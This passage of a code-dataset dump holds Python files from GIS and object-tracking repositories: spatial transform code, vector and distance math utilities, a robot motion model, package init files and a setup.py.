iteration,\n error_tolerance,\n association,\n observation_error,\n )\n else:\n raise NotImplementedError(\n \"Supported input '[target -> 'str', source -> 'str']' \"\n \"and '[target -> 'GeoDataFrame', source -> 'GeoDataFrame']'\"\n \"got target -> %s, source -> %s \",\n (\n type(target),\n type(source),\n ),\n )\n\n def ict_spatial_coordinates(\n self,\n source: list,\n target: list,\n iteration: int = 100,\n error_tolerance: float = 0.001,\n association: str = \"nearest_neighbour\",\n ) -> List:\n \"\"\"\n When the association between source and target are known\n\n This will dissolve all relation and run as a single association, i.e point to point association\n\n :param source:\n :param target:\n :param iteration:\n :param error_tolerance:\n :param association:\n :return:\n \"\"\"\n\n assert type(target) == list and type(source) == list, (\n \"Expected 'target' and 'source' to have type 'list'\" \"got %s and %s\",\n (\n type(target),\n type(source),\n ),\n )\n\n assert type(iteration) is int, (\n \"Expected 'iteration' to be of type 'int'\" \"got %s\",\n (type(iteration),),\n )\n\n assert type(error_tolerance) is float, (\n \"Expected 'error_tolerance' to be of type 'float'\" \"got %s\",\n (type(error_tolerance),),\n )\n\n _, homogeneous_matrix = self.ict_without_batch(\n np.array(\n self.pixel_grid.pixel_path_from_x_y(\n *zip(*list(itertools.chain(*target)))\n )\n ).swapaxes(-1, 0),\n np.array(\n self.pixel_grid.pixel_path_from_x_y(\n *zip(*list(itertools.chain(*source)))\n )\n ).swapaxes(-1, 0),\n iteration,\n error_tolerance,\n association,\n )\n\n source_transformed = list()\n if len(source) > 1:\n for sub_elements in source:\n source_transformed.append(\n self.transform_spatial(sub_elements, homogeneous_matrix)\n )\n else:\n source_transformed.append(\n self.transform_spatial(source, homogeneous_matrix)\n )\n\n return source_transformed\n", "id": "6697261", "language": "Python", "matching_score": 2.40286922454834, "max_stars_count": 12, "path": "kaizen_mapping/map/ict.py" }, { "content": "import math\nfrom typing import Tuple, Union, Any\n\nimport numpy as np\nfrom numpy import dot\n\n\ndef unit_vector(vec: tuple):\n \"\"\"\n\n :param vec:\n :return: unit vector\n \"\"\"\n return vec / np.linalg.norm(vec)\n\n\ndef angle_between_vector(v1: tuple, v2: tuple) -> float:\n \"\"\"\n two vectors have either the same direction - https://stackoverflow.com/a/13849249/71522\n :param v1:\n :param v2:\n :return:\n \"\"\"\n v1_u = unit_vector(v1)\n v2_u = unit_vector(v2)\n return np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0))\n\n\ndef dot_between_vector(v1: tuple, v2: tuple) -> Any:\n \"\"\"\n two vectors have either the same direction - https://stackoverflow.com/a/13849249/71522\n :param v1:\n :param v2:\n :return:\n \"\"\"\n v1_u = unit_vector(v1)\n v2_u = unit_vector(v2)\n return np.clip(np.dot(v1_u, v2_u), -1.0, 1.0)\n\n\ndef get_point_after_certain_distance(\n start: tuple, end: tuple, d: float, dt: float\n) -> Tuple[float, float]:\n \"\"\"\n https://math.stackexchange.com/questions/175896/finding-a-point-along-a-line-a-certain-distance-away-from-another-point\n\n :param start:\n :param end:\n :param d:\n :param dt:\n :return:\n \"\"\"\n if d == 0:\n return start\n t = dt / d\n new_x = ((1 - t) * start[0]) + (t * end[0])\n new_y = ((1 - t) * start[1]) + (t * end[1])\n return new_x, new_y\n\n\ndef get_midpoint(start: tuple, end: tuple) -> Tuple[float, float]:\n \"\"\"\n https://www.mathsisfun.com/algebra/line-midpoint.html\n\n :param start:\n :param end:\n :return:\n \"\"\"\n return ((start[0] + end[0]) / 2), ((start[1] + end[1]) / 2)\n\n\ndef get_end_coordinate(\n start: tuple, angle_in_degree: float, distance: float\n) -> Tuple[float, float]:\n \"\"\"\n # https://math.stackexchange.com/questions/39390/determining-end-coordinates-of-line-with-the-specified-length-and-angle\n\n :param start:\n :param angle_in_degree:\n :param distance:\n :return:\n \"\"\"\n x2 = start[0] + (distance * math.cos(angle_in_degree))\n y2 = start[1] + (distance * math.sin(angle_in_degree))\n return x2, y2\n\n\ndef get_center_of_mass(x, y) -> Tuple[Union[Any, float], Union[Any, float]]:\n \"\"\"\n https://math.stackexchange.com/questions/24485/find-the-average-of-a-collection-of-points-in-2d-space\n\n :param x:\n :param y:\n :return:\n \"\"\"\n return np.mean(x), np.mean(y)\n\n\ndef get_perpendicular_point(\n start: tuple, end: tuple, offset=10\n) -> Tuple[Tuple[float, float], Tuple[float, float]]:\n \"\"\"\n https://stackoverflow.com/questions/133897/how-do-you-find-a-point-at-a-given-perpendicular-distance-from-a-line?rq=1\n\n :param start:\n :param end:\n :param offset:\n :return:\n \"\"\"\n x1, y1 = start[0], start[1]\n x2, y2 = end[0], end[1]\n\n dx = x1 - x2\n dy = y1 - y2\n\n dist = math.sqrt((dx * dx) + (dy * dy))\n\n dx /= dist\n dy /= dist\n\n x3 = x1 + (offset * dy)\n y3 = y1 - (offset * dx)\n\n x4 = x1 - (offset * dy)\n y4 = y1 + (offset * dx)\n\n return (x3, y3), (x4, y4)\n\n\ndef vector(p1, p2) -> Tuple[float, float]:\n \"\"\"\n\n :param p1:\n :param p2:\n :return:\n \"\"\"\n return p1[0] - p2[0], p1[1] - p2[1]\n\n\ndef cosine_similarity(p1, p2, p3):\n \"\"\"\n\n :param p1:\n :param p2:\n :param p3:\n :return:\n \"\"\"\n a = vector((p1[0], p1[1]), (p2[0], p2[1]))\n b = vector((p1[0], p1[1]), (p3[0], p3[1]))\n return dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))\n\n\ndef diagonal_distance(p1: tuple, p2: tuple, d1: float, d2: float) -> float:\n \"\"\"\n\n :param p1:\n :param p2:\n :param d1:\n :param d2:\n :return:\n \"\"\"\n dx = abs(p1[0] - p2[0])\n dy = abs(p1[1] - p2[1])\n\n return d1 * (dx + dy) + (d2 - 2 * d1) * min(dx, dy)\n\n\ndef euclidean_distance(p1: tuple, p2: tuple) -> float:\n \"\"\"\n\n :param p1:\n :param p2:\n :return:\n \"\"\"\n return math.hypot(p2[0] - p1[0], p2[1] - p1[1])\n\n\ndef manhattan_distance(p1: tuple, p2: tuple) -> float:\n \"\"\"\n\n :param p1:\n :param p2:\n :return:\n \"\"\"\n return abs(p2[0] - p1[0]) + abs(p2[1] - p1[1])\n\n\ndef compute_center_of_mass(input_array, axis: int = 1):\n \"\"\"\n Compute center of mass\n\n :param axis:\n :param input_array: (dim x N)\n :return:\n \"\"\"\n return np.mean(input_array, axis=axis)\n\n\ndef new_mass(mean, input_array):\n \"\"\"\n Subtract the corresponding center of mass from every point\n\n new_mass = (dim x N) - (dim x 1)\n\n :param mean:\n :param input_array:\n :return:\n \"\"\"\n\n return input_array - mean[:, np.newaxis]\n\n\ndef decompose_matrix(matrix):\n \"\"\"\n\n :param matrix:\n :return:\n \"\"\"\n\n return np.linalg.svd(matrix)\n", "id": "1228581", "language": "Python", "matching_score": 1.0328092575073242, "max_stars_count": 12, "path": "kaizen_mapping/utils/numerical.py" }, { "content": "from typing import Union\n\nimport numpy as np\n\nfrom py_gis_utility.ops.math_ops import (\n new_perpendicular_point_to_line_segment,\n new_coordinate_based_on_angle_and_distance,\n new_point_after_certain_distance,\n euclidean,\n euclidean_between_two_sets,\n)\nfrom py_gis_utility.helper import is_line_segment_3d, is_point_3d\n\n\ndef get_new_perpendicular_point_with_common_distance_all_to_line_segment(\n line_segments: np.ndarray,\n distance_from_the_line: Union[int, float] = 10,\n return_pandas: bool = True,\n):\n \"\"\"\n :param return_pandas:\n :param line_segments: array of shape [number_of_line_segments, 2, 2]\n :param distance_from_the_line: how far the new point to create from the reference\n :return:\n\n \"\"\"\n\n assert type(line_segments) is np.ndarray and type(distance_from_the_line) in [\n float,\n int,\n ], (\n f\"Expected to have input type ['np.ndarray', '[int, float]'] \"\n f\"got {type(line_segments), type(distance_from_the_line)}\"\n )\n\n assert is_line_segment_3d(line_segments), (\n f\"Expected line segments to be either '[n_values, 2, 2]' for n_dim == 3 \"\n f\"got {line_segments.shape} for n_dim == {line_segments.ndim}\"\n )\n\n assert (\n type(distance_from_the_line) in [float, int] and distance_from_the_line >= 0.0\n ), (\n \"Expected distance_from_the_line to be of type 'float or int' and 'non zero'\"\n f\"got {type(distance_from_the_line), distance_from_the_line}\"\n )\n\n common_distance_from_the_line = (\n np.ones((line_segments.shape[0], 1, 1)) * distance_from_the_line\n )\n\n return new_perpendicular_point_to_line_segment(\n line_segments, common_distance_from_the_line\n )\n\n\ndef get_new_perpendicular_point_with_custom_distance_to_every_line_segment(\n line_segments: np.ndarray, distance_from_the_line: np.ndarray\n):\n \"\"\"\n :param line_segments: array of shape [number_of_line_segments, 2, 2]\n :param distance_from_the_line: how far the new point to create from the reference\n :return:\n\n \"\"\"\n return new_perpendicular_point_to_line_segment(\n line_segments, distance_from_the_line\n )\n\n\ndef get_new_coordinates_with_custom_angle_and_distance_for_every_point(\n points: np.ndarray, angle_in_degree: np.ndarray, distance: np.ndarray\n) -> np.ndarray:\n \"\"\"\n :param points: array of shape [number_of_line_segments, 1, 2]\n :param angle_in_degree: array of shape [number_of_points, 1, 1]\n :param distance: array of shape [number_of_points, 1, 1]\n :return:\n \"\"\"\n return new_coordinate_based_on_angle_and_distance(points, angle_in_degree, distance)\n\n\ndef get_new_coordinates_with_common_angle_and_distance_to_all_points(\n points: np.ndarray, angle_in_degree: Union[float, int], distance: Union[float, int]\n) -> np.ndarray:\n \"\"\"\n :param points: array of shape [number_of_line_segments, 1, 2]\n :param angle_in_degree:\n :param distance:\n :return:\n \"\"\"\n\n assert (\n type(points) is np.ndarray\n and type(distance) in [float, int]\n and type(angle_in_degree) in [float, int]\n ), (\n \"Expected to have input type ['np.ndarray', '[float, int]', '[float, int]']\"\n f\"got {type(points), type(distance), type(angle_in_degree)}\"\n )\n\n assert is_point_3d(points), (\n f\"Expected points to be either '[n_points, 1, 2]' for n_dim == 3\"\n f\"got {points.shape} for n_dim == {points.ndim}\"\n )\n\n return new_coordinate_based_on_angle_and_distance(\n points,\n (np.ones((points.shape[0], 1, 1)) * angle_in_degree),\n (np.ones((points.shape[0], 1, 1)) * distance),\n )\n\n\ndef get_points_with_custom_distance_for_every_line_segments(\n line_segments: np.ndarray, distance_from_start: np.ndarray\n) -> np.ndarray:\n \"\"\"\n\n :param line_segments: array of shape [number_of_line_segments, 2, 2]\n :param distance_from_start: array specifying the distance to compute the point\n shape [number_of_line_segments, 1, 1]\n :return:\n \"\"\"\n return new_point_after_certain_distance(line_segments, distance_from_start)\n\n\ndef get_new_points_with_same_distance_for_all_line_segments(\n line_segments: np.ndarray, distance_from_start: Union[float, int]\n) -> np.ndarray:\n \"\"\"\n\n :param line_segments: array of shape [number_of_line_segments, 2, 2]\n :param distance_from_start:\n :return:\n \"\"\"\n assert type(line_segments) is np.ndarray and type(distance_from_start) in [\n float,\n int,\n ], f\"Expected to have input type ['np.ndarray', '[int, float]'] got {type(line_segments), type(distance_from_start)}\"\n\n assert is_line_segment_3d(line_segments), (\n f\"Expected line segments to be either '[n_values, 2, 2]' for n_dim == 3\"\n f\"got {line_segments.shape} for n_dim == {line_segments.ndim}\"\n )\n\n assert type(distance_from_start) in [float, int] and distance_from_start >= 0.0, (\n \"Expected distance_from_the_line to be of type 'float or int' and 'non zero'\"\n f\"got {type(distance_from_start), distance_from_start}\"\n )\n\n common_distance_from_start = (\n np.ones((line_segments.shape[0], 1, 1)) * distance_from_start\n )\n\n return new_point_after_certain_distance(line_segments, common_distance_from_start)\n\n\ndef get_euclidean(coordinates_a: np.ndarray) -> np.ndarray:\n \"\"\"\n\n :param coordinates_a:\n :return:\n \"\"\"\n return euclidean(coordinates_a)\n\n\ndef get_euclidean_within_two(\n coordinates_a: np.ndarray, coordinates_b: np.ndarray\n) -> np.ndarray:\n \"\"\"\n\n :param coordinates_a:\n :param coordinates_b:\n :return:\n \"\"\"\n return euclidean_between_two_sets(coordinates_a, coordinates_b)\n", "id": "10031284", "language": "Python", "matching_score": 4.190915584564209, "max_stars_count": 0, "path": "py_gis_utility/math_func.py" }, { "content": "import numpy as np\nfrom scipy.spatial.distance import pdist, squareform\n\nfrom py_gis_utility.helper import (\n is_line_segment_3d,\n is_value_3d,\n is_point_3d,\n)\n\n\ndef angle_between_vector(v1: tuple, v2: tuple):\n \"\"\"\n two vectors have either the same direction - https://stackoverflow.com/a/13849249/71522\n :param v1:\n :param v2:\n :return:\n \"\"\"\n v1_u = unit_vector(v1)\n v2_u = unit_vector(v2)\n return np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0))\n\n\ndef vector(p1: np.ndarray, p2: np.ndarray) -> np.ndarray:\n \"\"\"\n\n :param p1:\n :param p2:\n :return:\n \"\"\"\n return np.subtract(p1, p2)\n\n\ndef magnitude(vec: np.ndarray, axis=-1) -> np.ndarray:\n return np.linalg.norm(vec, axis=axis)\n\n\ndef unit_vector(vec: np.ndarray, axis=-1) -> np.ndarray:\n \"\"\"\n\n :param axis:\n :param vec:\n :return: unit vector\n \"\"\"\n return np.divide(\n vec, np.concatenate([magnitude(vec, axis)[:, :, np.newaxis]] * 2, axis=axis)\n )\n\n\ndef euclidean_between_two_sets(\n coordinates_a: np.ndarray, coordinates_b: np.ndarray\n) -> np.ndarray:\n \"\"\"\n This function will return set of distances from coordinates_b to coordinates_a\n ex -\n coordinates_b = [[0, 0], [1, 1]]\n coordinates_a = [[2, 1], [3, 1], [2, 4], [5, 2]]\n\n return\n sets of distances from [0, 0] to all the coordinates present in coordinates_a\n sets of distances from [1, 1] to all the coordinates present in coordinates_a\n\n visually -\n | distance from [0, 0] to [2, 1] | distance from [1, 1] to [2, 1] |\n | distance from [0, 0] to [3, 1] | distance from [1, 1] to [3, 1] |\n | distance from [0, 0] to [2, 4] | distance from [1, 1] to [2, 4] |\n | distance from [0, 0] to [5, 2] | distance from [1, 1] to [5, 2] |\n\n resulting in shape of [n_coordinates_a, n_coordinates_b]\n\n :param coordinates_a: array of shape [n_coordinates_a, 2]\n :param coordinates_b: array of shape [n_coordinates_b, 2]\n :return: array of shape [n_coordinates_a, n_coordinates_b]\n \"\"\"\n\n assert (\n type(coordinates_a) is np.ndarray and type(coordinates_b) is np.ndarray\n ), f\"Expected to have input type 'np.ndarray' got {type(coordinates_a)}, {type(coordinates_b)}\"\n\n assert (\n coordinates_b.shape[-1] == 2 and coordinates_b.ndim == 2\n ), f\"Expected input_coordinates to have shape '[number of points, 2]' got {coordinates_b.shape}\"\n\n assert (\n coordinates_a.shape[-1] == 2 and coordinates_a.ndim == 2\n ), f\"Expected input_coordinates to have shape '[number of points, 2]' got {coordinates_a.shape}\"\n\n distances = np.linalg.norm(\n np.concatenate(\n [coordinates_a[np.newaxis, :, :]] * coordinates_b.shape[0], axis=0\n )\n - coordinates_b[:, np.newaxis, :],\n axis=-1,\n ).T\n return distances\n\n\ndef euclidean(coordinates_a: np.ndarray) -> np.ndarray:\n \"\"\"\n This function will return set of distances from coordinates_a to coordinates_a\n ex -\n coordinates_a = [[0, 0], [1, 1]]\n\n return\n sets of distances from [0, 0] to all the coordinates present in coordinates_a\n sets of distances from [1, 1] to all the coordinates present in coordinates_a\n\n visually -\n | distance from [0, 0] to [0, 0] | distance from [1, 1] to [0, 0] |\n | distance from [0, 0] to [1, 1] | distance from [1, 1] to [1, 1] |\n\n resulting in shape of [n_coordinates_a, n_coordinates_a]\n\n :param coordinates_a: array of shape [n_coordinates_a, 2]\n :return: array of shape [n_coordinates_a, n_coordinates_a]\n \"\"\"\n assert type(coordinates_a) is np.ndarray, (\n \"Expected to have input type 'np.ndarray'\" \"got %s\",\n (type(coordinates_a),),\n )\n assert (\n type(coordinates_a) is np.ndarray\n ), f\"Expected to have input type 'np.ndarray' got {type(coordinates_a)}\"\n\n assert (\n coordinates_a.shape[-1] == 2 and coordinates_a.ndim == 2\n ), f\"Expected input_coordinates to have shape '[number of points, 2]' got {coordinates_a.shape}\"\n\n return squareform(pdist(coordinates_a))\n\n\ndef perpendicular_distance_from_point_to_line_segment_in_2d(\n line_segment: np.ndarray, coordinates: np.ndarray\n) -> np.ndarray:\n \"\"\"\n The function will compute perpendicular distance for the coordinates value present in coordinates to the given\n input line segment\n\n :param line_segment: array of shape [number_of_line_segments, 2, 2]\n\n If the line segment to which perpendicular distances are to be computed then pass it as\n follows :\n -- the dimension [number_of_line_segments, 2, 2] are [\n [\n [start_line_segment_1_x, start_line_segment_1_y],\n [end_line_segment_1_x, end_line_segment_1_y]\n ],\n [\n [start_line_segment_2_x, start_line_segment_2_y],\n [end_line_segment_2_x, end_line_segment_2_y]\n ],\n ....\n ...\n [\n [start_line_segment_n_x, start_line_segment_n_y],\n [end_line_segment_n_x, end_line_segment_n_y]\n ],\n ]\n :param coordinates: array of shape [number of points, 2]\n :return: array of shape [number of segments, number of points]\n\n if single line segment is passed for computation, i.e. input with dim [1, 2, 2] then expect the output in\n format:\n | distance from line_Segment_1 to coordinate[0] .... | .... distance from line_Segment_1 to coordinate[n] |\n\n if multiple line segments are passed for computation, i.e. input with dim [n_segments, 2, 2] then expect\n the output in format:\n | distance from line_Segment_1 to coordinate[0] .... | ... distance from line_Segment_1 to coordinate[n] |\n | distance from line_Segment_2 to coordinate[0] .... | ... distance from line_Segment_2 to coordinate[n] |\n ....\n ...\n | distance from line_Segment_n to coordinate[0] .... | ...distance from line_Segment_n to coordinate[n] |\n\n \"\"\"\n\n # https://stackoverflow.com/a/53176074/7984359\n # https://math.stackexchange.com/questions/1300484/distance-between-line-and-a-point\n # https://www.geeksforgeeks.org/minimum-distance-from-a-point-to-the-line-segment-using-vectors/\n # https://en.wikipedia.org/wiki/Distance_from_a_point_to_a_line#Line_defined_by_two_points\n\n assert (\n type(line_segment) is np.ndarray and type(coordinates) is np.ndarray\n ), f\"Expected to have input type 'np.ndarray' got {type(line_segment)} and {type(coordinates)}\"\n\n assert coordinates.ndim == 2 and coordinates.shape[-1] == 2, (\n f\"Expected coordinates to be '2' dimensional and have shape '[number of point, 2]' got {coordinates.shape},\"\n f\" {coordinates.ndim}\"\n )\n\n assert is_line_segment_3d(line_segment), (\n f\"Expected line segments to be either '[n_line_segments, 2, 2]' for n_dim == 3\"\n f\"got {line_segment.shape} for n_dim == {line_segment.ndim}\"\n )\n\n coordinates_repeat_copy = np.concatenate(\n [coordinates[np.newaxis, :, :]] * line_segment.shape[0], axis=0\n )\n\n dp = line_segment[:, 1:2, :] - line_segment[:, 0:1, :]\n st = dp[:, :, 0:1] ** 2 + dp[:, :, 1:2] ** 2\n\n u = (\n (coordinates_repeat_copy[:, :, 0:1] - line_segment[:, 0:1, 0:1]) * dp[:, :, 0:1]\n + (coordinates_repeat_copy[:, :, 1:2] - line_segment[:, 0:1, 1:2])\n * dp[:, :, 1:2]\n ) / st\n\n u[u > 1.0] = 1.0\n u[u < 0.0] = 0.0\n\n dx = (line_segment[:, 0:1, 0:1] + u * dp[:, :, 0:1]) - coordinates_repeat_copy[\n :, :, 0:1\n ]\n dy = (line_segment[:, 0:1, 1:2] + u * dp[:, :, 1:2]) - coordinates_repeat_copy[\n :, :, 1:2\n ]\n\n return np.squeeze(np.sqrt(dx ** 2 + dy ** 2), axis=-1)\n\n\ndef new_perpendicular_point_to_line_segment(\n line_segment: np.ndarray, distance_from_the_line: np.ndarray\n):\n \"\"\"\n Get perpendicular point with reference to start and end point of the segment\n\n :param line_segment: array of shape [number_of_line_segments, 2, 2]\n\n If the line segment to which perpendicular distances are to be computed then pass it as\n follows :\n -- the dimension [number_of_line_segments, 2, 2] are [\n [\n [start_line_segment_1_x, start_line_segment_1_y],\n [end_line_segment_1_x, end_line_segment_1_y]\n ],\n [\n [start_line_segment_2_x, start_line_segment_2_y],\n [end_line_segment_2_x, end_line_segment_2_y]\n ],\n ....\n ...\n [\n [start_line_segment_n_x, start_line_segment_n_y],\n [end_line_segment_n_x, end_line_segment_n_y]\n ],\n ]\n :param distance_from_the_line: how far the new point to create from the reference\n :return:(perpendicular points with reference to start, perpendicular points with reference to end)\n -\n return is of shape [number_of_segments, 2, 2]\n\n [A_n] [C_n]\n | line_segment_with |\n |-----------------------------|\n | index value 'n' |\n [B_n] [D_n]\n\n to get points -\n\n A_n - perpendicular_with_start[segment_index_value_n, 0, :]\n B_n - perpendicular_with_start[segment_index_value_n, 1, :]\n C_n - perpendicular_with_end[segment_index_value_n, 0, :]\n D_n - perpendicular_with_end[segment_index_value_n, 1, :]\n\n \"\"\"\n assert (\n type(line_segment) is np.ndarray and type(distance_from_the_line) is np.ndarray\n ), (\n f\"Expected to have input type ['np.ndarray', 'np.ndarray'] got {type(line_segment)}\"\n f\" and {type(distance_from_the_line)}\"\n )\n\n assert is_line_segment_3d(line_segment), (\n f\"Expected line segments to be either '[n_line_segments, 2, 2]' for n_dim == 3 \"\n f\"got {line_segment.shape} for n_dim == {line_segment.ndim}\"\n )\n\n assert is_value_3d(distance_from_the_line), (\n f\"Expected values to be either '[n_values, 1, 1]' for n_dim == 3 or '[1, 1]' for n_dim == 2, \"\n f\"got {distance_from_the_line.shape} for n_dim == {distance_from_the_line.ndim}\"\n )\n\n assert line_segment.shape[0] == distance_from_the_line.shape[0], (\n f\"Expected number of distance to \"\n f\"be equal to number of line segments,\"\n f\" got {line_segment.shape[0],distance_from_the_line.shape[0]}\"\n )\n\n assert np.all(\n distance_from_the_line >= 0\n ), f\"Expected distance to be 'non zero' got {distance_from_the_line}\"\n\n x1, y1 = line_segment[:, 0:1, 0:1], line_segment[:, 0:1, 1:2]\n x2, y2 = line_segment[:, 1:2, 0:1], line_segment[:, 1:2, 1:2]\n\n dx = x1 - x2\n dy = y1 - y2\n\n dist = np.linalg.norm(np.array([dx, dy]), axis=0)\n\n x_perpendicular = distance_from_the_line * (dx / dist)\n y_perpendicular = distance_from_the_line * (dy / dist)\n\n point_with_start_as_reference_x = [\n np.array(x1 + y_perpendicular).squeeze(axis=-1),\n np.array(y1 - x_perpendicular).squeeze(axis=-1),\n ]\n\n point_with_start_as_reference_y = [\n np.array(x1 - y_perpendicular).squeeze(axis=-1),\n np.array(y1 + x_perpendicular).squeeze(axis=-1),\n ]\n\n point_with_start_as_reference = np.dstack(\n (\n np.array(point_with_start_as_reference_x).squeeze(axis=-1),\n np.array(point_with_start_as_reference_y).squeeze(axis=-1),\n )\n )\n point_with_end_as_reference_x = [\n np.array(x2 - y_perpendicular).squeeze(axis=-1),\n np.array(y2 + x_perpendicular).squeeze(axis=-1),\n ]\n\n point_with_end_as_reference_y = [\n np.array(x2 + y_perpendicular).squeeze(axis=-1),\n np.array(y2 - x_perpendicular).squeeze(axis=-1),\n ]\n\n point_with_end_as_reference = np.dstack(\n (\n np.array(point_with_end_as_reference_x).squeeze(axis=-1),\n np.array(point_with_end_as_reference_y).squeeze(axis=-1),\n )\n )\n\n perpendicular_with_start = point_with_start_as_reference.swapaxes(-1, 1).T\n perpendicular_with_end = point_with_end_as_reference.swapaxes(-1, 1).T\n\n return perpendicular_with_start, perpendicular_with_end\n\n\ndef new_coordinate_based_on_angle_and_distance(\n points: np.ndarray, angle: np.ndarray, distance: np.ndarray\n) -> np.ndarray:\n \"\"\"\n Given a Point find a new point at an given 'angle' with given 'distance'\n\n / B [New Point]\n /\n / angle CAB and distance AB [GIVEN]\n A ------------ C\n\n # https://math.stackexchange.com/questions/39390/determining-end-coordinates-of-line-with-the-specified-length-and-angle\n\n :param points: array of shape [number_of_line_segments, 1, 2]\n If the line segment to which perpendicular distances are to be computed then pass it as\n follows :\n -- the dimension [number_of_points, 1, 2] are [\n [\n [point_1_x, point_1_y],\n ],\n [\n [point_2_x, point_2_y],\n ],\n ....\n ...\n [\n [point_n_x, point_n_y],\n ],\n ]\n :param angle: array of shape [number_of_points, 1, 1]\n :param distance: array of shape [number_of_points, 1, 1]\n :return:\n \"\"\"\n assert (\n type(points) is np.ndarray\n and type(distance) is np.ndarray\n and type(angle) is np.ndarray\n ), (\n \"Expected to have input type ['np.ndarray', 'np.ndarray', 'np.ndarray']\"\n f\"got {type(points), type(distance), type(angle)}\"\n )\n\n assert is_point_3d(points), (\n f\"Expected points to be either '[n_points, 1, 2]' for n_dim == 3 \"\n f\"got {points.shape} for n_dim == {points.ndim}\"\n )\n assert is_value_3d(angle), (\n f\"Expected values to be either '[n_values, 1, 1]' for n_dim == 3 \"\n f\"got {angle.shape} for n_dim == {angle.ndim}\"\n )\n assert is_value_3d(distance), (\n f\"Expected values to be either '[n_values, 1, 1]' \"\n f\"got {distance.shape} for n_dim == {distance.ndim}\"\n )\n assert points.shape[0] == distance.shape[0] == angle.shape[0], (\n f\"Expected number of points, number of distance, \"\n f\"number of angles to have the same count\"\n f\" got {points.shape[0],distance.shape[0], angle.shape}\"\n )\n\n assert np.all(distance >= 0), f\"Expected distance to be 'non zero' got {distance}\"\n\n return np.concatenate(\n [\n points[:, :, 0:1] + (distance * np.cos(angle)),\n points[:, :, 1:2] + (distance * np.sin(angle)),\n ],\n axis=-1,\n )\n\n\ndef new_point_after_certain_distance(\n line_segments: np.ndarray, distance_from_start: np.ndarray\n) -> np.ndarray:\n \"\"\"\n https://math.stackexchange.com/questions/175896/finding-a-point-along-a-line-a-certain-distance-away-from-another-point\n https://math.stackexchange.com/a/426810\n\n :param distance_from_start: array specifying the distance to compute the point\n shape [number_of_line_segments, 1, 1] or [1, 1]\n :param line_segments: array of shape [number_of_line_segments, 2, 2]\n\n If the line segment to which perpendicular distances are to be computed then pass it as\n follows :\n -- the dimension [number_of_line_segments, 2, 2] are [\n [\n [start_line_segment_1_x, start_line_segment_1_y],\n [end_line_segment_1_x, end_line_segment_1_y]\n ],\n [\n [start_line_segment_2_x, start_line_segment_2_y],\n [end_line_segment_2_x, end_line_segment_2_y]\n ],\n ....\n ...\n [\n [start_line_segment_n_x, start_line_segment_n_y],\n [end_line_segment_n_x, end_line_segment_n_y]\n ],\n ]\n :return: points on the line segment with distance 'd'\n\n \"\"\"\n assert (\n type(line_segments) is np.ndarray and type(distance_from_start) is np.ndarray\n ), f\"Expected to have input type ['np.ndarray', 'np.ndarray'] got {type(line_segments), type(distance_from_start)}\"\n\n assert is_line_segment_3d(line_segments), (\n f\"Expected line segments to be either '[n_values, 2, 2]' for n_dim == 3 \"\n f\"got {line_segments.shape} for n_dim == {line_segments.ndim}\"\n )\n\n assert np.all(\n distance_from_start >= 0\n ), f\"Expected distance_from_the_line to be 'non negative' got {distance_from_start}\"\n\n assert is_value_3d(distance_from_start), (\n f\"Expected values to be either '[n_values, 1, 1]' for n_dim == 3\"\n f\"got {distance_from_start.shape} for n_dim == {distance_from_start.ndim}\"\n )\n\n assert line_segments.shape[0] == distance_from_start.shape[0], (\n f\"Expected input to have same number of count,\"\n f\" got {line_segments.shape[0],distance_from_start.shape[0]}\"\n )\n\n vec = vector(line_segments[:, 1:2, :], line_segments[:, 0:1, :])\n vec_mag = np.concatenate([magnitude(vec, -1)[:, :, np.newaxis]] * 2, axis=-1)\n return (distance_from_start * vec_mag) * unit_vector(vec)\n", "id": "8656161", "language": "Python", "matching_score": 1.1492269039154053, "max_stars_count": 0, "path": "py_gis_utility/ops/math_ops.py" }, { "content": "import math\n\n\nclass Robot:\n @staticmethod\n def radius():\n return 1\n\n @staticmethod\n def direction():\n # dx, dy, cost\n motion_model = [\n [1, 0, 1],\n [0, 1, 1],\n [-1, 0, 1],\n [0, -1, 1],\n [-1, -1, math.sqrt(2)],\n [-1, 1, math.sqrt(2)],\n [1, -1, math.sqrt(2)],\n [1, 1, math.sqrt(2)],\n ]\n\n return motion_model\n", "id": "4518054", "language": "Python", "matching_score": 0, "max_stars_count": 12, "path": "kaizen_mapping/map/robot.py" }, { "content": "__author__ = '<NAME>'\r\n__organization__ = 'Cypherics'\r\n", "id": "10897372", "language": "Python", "matching_score": 0, "max_stars_count": 3, "path": "shape_merge/__init__.py" }, { "content": "from py_oneliner.one_liner import Dynamic\n\none_liner = Dynamic(\"Py-OneLiner\")\n", "id": "8715504", "language": "Python", "matching_score": 0, "max_stars_count": 2, "path": "py_oneliner/__init__.py" }, { "content": "from py_detect_track.detect.yolo3.detector import YOLODetector\r\n", "id": "9837734", "language": "Python", "matching_score": 1.6141526699066162, "max_stars_count": 2, "path": "py_detect_track/detect/yolo3/__init__.py" }, { "content": "from py_detect_track.track.sort.sort import Sort\r\n", "id": "3045265", "language": "Python", "matching_score": 1.9312204122543335, "max_stars_count": 2, "path": "py_detect_track/track/sort/__init__.py" }, { "content": "from py_detect_track.track.sort import Sort\r\nfrom py_detect_track.track.deepsort import DeepSort\r\n", "id": "2887357", "language": "Python", "matching_score": 2.7774875164031982, "max_stars_count": 2, "path": "py_detect_track/track/__init__.py" }, { "content": "from py_detect_track.track.deepsort.deepsort import DeepSort\r\n", "id": "5301623", "language": "Python", "matching_score": 0.22087997198104858, "max_stars_count": 2, "path": "py_detect_track/track/deepsort/__init__.py" }, { "content": "import os\r\nfrom setuptools import setup, find_packages\r\n\r\nwith open(\"README.md\", \"r\") as fh:\r\n long_description = fh.read()\r\n\r\ncurrent_dir = os.path.abspath(os.path.dirname(__file__))\r\ntry:\r\n with open(os.path.join(current_dir, \"requirements.txt\"), encoding=\"utf-8\") as f:\r\n install_requires = f.read().split(\"\\n\")\r\nexcept FileNotFoundError:\r\n install_requires = []\r\n\r\n\r\nsetup(\r\n name=\"py-detect-track\",\r\n version=\"0.0.1\",\r\n author=\"<NAME>\",\r\n author_email=\"<EMAIL>\",\r\n url=\"https://github.com/fuzailpalnak/py-detect-track\",\r\n description=\"Object Tracking\",\r\n long_description=long_description,\r\n long_description_content_type=\"text/markdown\",\r\n packages=find_packages(),\r\n python_requires=\"~=3.6\",\r\n install_requires=install_requires,\r\n keywords=[\r\n \"Deep Learning\",\r\n \"CNN\",\r\n \"Object Tracking\",\r\n ],\r\n classifiers=[\r\n \"Programming Language :: Python :: 3\",\r\n \"License :: OSI Approved 